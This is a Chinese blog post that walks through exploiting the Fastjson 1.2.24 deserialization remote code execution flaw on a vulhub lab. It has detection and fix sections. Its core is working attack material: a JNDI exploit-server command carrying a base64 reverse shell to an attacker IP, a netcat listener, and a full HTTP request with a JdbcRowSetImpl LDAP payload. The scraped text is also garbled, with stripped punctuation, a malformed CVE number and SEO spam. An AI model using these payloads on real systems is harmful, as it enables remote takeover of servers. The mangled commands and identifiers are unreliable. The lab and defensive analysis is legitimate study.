常宁网站设计,站长网站优点,推广型的网站怎么做,wordpress.org密码文章目录 漏洞描述漏洞编号漏洞评级影响版本漏洞复现- 利用工具- 漏洞环境- 漏洞扫描- 漏洞验证- 深度利用- GetShell- EXP 编写 漏洞挖掘- 指纹信息 修复建议- 漏洞修复 漏洞原理 漏洞描述
Fastjson 存在反序列化远程代码执行漏洞#xff0c;当应用或系统使用 Fastjson 对由… 文章目录 漏洞描述漏洞编号漏洞评级影响版本漏洞复现- 利用工具- 漏洞环境- 漏洞扫描- 漏洞验证- 深度利用- GetShell- EXP 编写 漏洞挖掘- 指纹信息 修复建议- 漏洞修复 漏洞原理 漏洞描述
Fastjson 存在反序列化远程代码执行漏洞当应用或系统使用 Fastjson 对由用户可控的 JSON 字符串数据进行解析时将可能导致远程代码执行的危害。
此漏洞为 17 年 Fastjson 1.2.24 版本反序列化漏洞的延伸利用且无需依赖 autotype 的开启这意味着默认配置下的 Fastjson 即会受到漏洞影响。
fastjson在解析json的过程中支持使用autoType来实例化某一个具体的类并调用该类的set/get方法来访问属性。通过查找代码中相关的方法即可构造出一些恶意利用链。
漏洞编号
CVE-2017-183494
漏洞评级
严重
影响版本
Fastjson 1.2.24 及之前的版本
漏洞复现
- 利用工具
链接https://pan.baidu.com/s/1KEl1Z9Z3hWXKtENLxSE1wg?pwdyuan - 漏洞环境
vulhub的靶场环境vulhub/fastjson/1.2.24-rce
运行测试环境
docker compose up -d环境运行后访问http://your-ip:8090即可看到JSON格式的输出 - 漏洞扫描
手工主动测试利用非法json格式来尝试获取回显 如图我们可以看到服务端返回报错内容中包含fastjson。
- 漏洞验证
借助DNSLog让目标服务器访问查看回显 发现有回显说明存在漏洞 - 深度利用
使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具开启JNDI服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDAJjE}|{base64,-d}|{bash,-i} -A 10.9.75.101以下命令的解释 bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDAJjE}|{base64,-d}|{bash,-i}这是一个在bash shell中执行的命令它涉及到了bash、echo、base64和管道操作符。首先{echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDAJjE}部分将字符串YmFzaCAtaSAJiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDAJjE作为参数传给echo命令然后输出。接着输出被传递给base64 -d进行解码最后解码的结果再传递给bash -i进行执行。其中{bash,-i}部分表示使用交互模式运行bash 其中的base64编码是通过这个网站进行编码的https://ares-x.com/tools/runtime-exec/
编码过程如图 执行开启服务的命令之后如图所示表示已经开启了不同java版本的rmi服务与ldap服务 - GetShell
kali开启监听
nc -lvvp 7777发送请求包:
POST / HTTP/1.1
Host: 10.9.75.101:8090
Cache-Control: max-age0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q0.9
Connection: close
Content-Type: application/json
Content-Length: 161{b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://10.9.75.101:1389/zbcmsg,autoCommit:true}
}发送之后可以看到kali已经获得反弹Shell - EXP 编写
这里直接使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar的 -C 参数指定EXP(这里的EXP使用反弹shell)不过这个EXP需要通过base64编码
bash -i /dev/tcp/10.9.75.101/7777 01通过网站在线编码
bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDAJjE}|{base64,-d}|{bash,-i}其中的base64编码是通过这个网站进行编码的https://ares-x.com/tools/runtime-exec/
编码过程如图 将以上编码结果交给 -C参数再使用 -A参数指定JNDI服务所处的服务器IP地址执行jar包之后就会生成EXP并且将EXP放置JNDI服务中。
漏洞挖掘 找到发送JSON序列化数据的接口 判断是否使用fastjson利用非法json格式来尝试获取回显 如图我们可以看到服务端返回报错内容中包含fastjson。 通过BP插件检测该fastjson版本是否存在漏洞 https://github.com/zilong3033/fastjsonScan下载插件导入BP 抓包发送到插件进行检测 如下检测结果存在漏洞 - 指纹信息
通过异常回显判断是否使用fastjson
修复建议
- 漏洞修复 升级Fastjson到最新版 使用安全产品过滤非法内容 比如请求包中如果出现了JdbcRowSetImpl就可以把他拦住。更换其它序列化工具 Jackson/Gson 漏洞原理
不同版本的fastjson其实就是对一些输入的数据进行了校验等操作绕过校验之后底层的利用链还是一样的。以下是fastjson反序列化漏洞的本质 由于将JSON数据进行反序列化的时候会自动调用方法中的 get/set/is方法。 所以如果有方法在自动调用get/set/is方法的时候能访问远程资源那么就可以借助这个方法完成利用。 很巧的是JDK8中恰好有个JdbcRowSetlmpl类里面就有 set方法 setAutoCommit这个方法里面调用了connect方法connect方法里面又具有JNDI的lookup方法lookup方法里面传的恰好又是get方法所以我们可以编写一个payload利用type指定要序列化的类然后指定一些要反序列化的属性即可完成利用链接下来就看利用链中的源码 利用JdbcRowSetlmpl类中的方法setAutoCommit() 进入connect方法 我们可以看到connect方法中具有JNDI的lookup方法lookup是JNDI用于查找资源的方法里面传的参数是dataSourceName所以我们可以在payload的json字符串中传入这个参数dataSourceName并且指定他的 值为我们的RMI服务或者其他服务lookup就会到我们指定的服务中下载恶意代码并执行。 为什么下载我们的EXP后会自动执行呢 因为我们的exp具有静态代码块或者构造方法当程序创建实例的时候就会自动触发构造方法或者静态代码块的内容。 如下图中的NamingManager类其中利用反射创建实例然后就直接触发恶意代码中的静态代码块内容从而让我们利用。